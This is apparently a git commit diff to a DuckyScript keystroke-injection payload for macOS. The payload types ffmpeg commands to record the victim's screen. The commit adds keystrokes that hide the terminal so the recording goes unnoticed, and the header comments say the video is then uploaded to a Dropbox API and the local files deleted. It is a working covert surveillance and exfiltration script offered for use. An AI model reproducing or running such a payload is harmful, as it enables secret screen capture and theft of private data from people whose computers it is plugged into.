updated screen recorder, not hides terminal window to capture contents on the screen

This commit is contained in:
Narstybits
2023-06-01 12:16:14 -05:00
parent c5b6a6ef5f
commit 4472790566
@@ -5,7 +5,7 @@ REM Then uploads the MP4 file to your Dropbox API, deletes the files on the desk
REM Must have terminal recording privileges enabled in Privacy & Security settings
REM Script includes a delay of 10 seconds after starting the recording.
REM to allow for the desired recording duration. Can adjust the delay for longer recordings. line 33
REM keeo the delays the same if you adjust line 33, also adjust line 3i. This will allow for a good buffer time.
REM keeo the delays the same if you adjust line 33, also adjust line 39. This will allow for a good buffer time.
REM Must have ffmpeg installed
REM You can download through the terminal using the 'brew install ffmpeg command'
@@ -30,7 +30,10 @@ DELAY 500
STRING ffmpeg -f avfoundation -r 30 -i "1" -c:v libx264 -preset ultrafast -tune zerolatency -crf 23 -pix_fmt yuv420p ~/Desktop/screen_recording.mkv
DELAY 250
ENTER
GUI h ; hides terminal to capture contents on the screen
DELAY 10000 ; Delay for 10 seconds (adjust as needed)
GUI TAB ; reopens terminal to continue script
DELAY 500
CTRL C ; Send the interrupt signal to stop the recording
DELAY 500
STRING ffmpeg -i ~/Desktop/screen_recording.mkv -c:v libx264 -preset fast -crf 23 -pix_fmt yuv420p ~/Desktop/screen_recording.mp4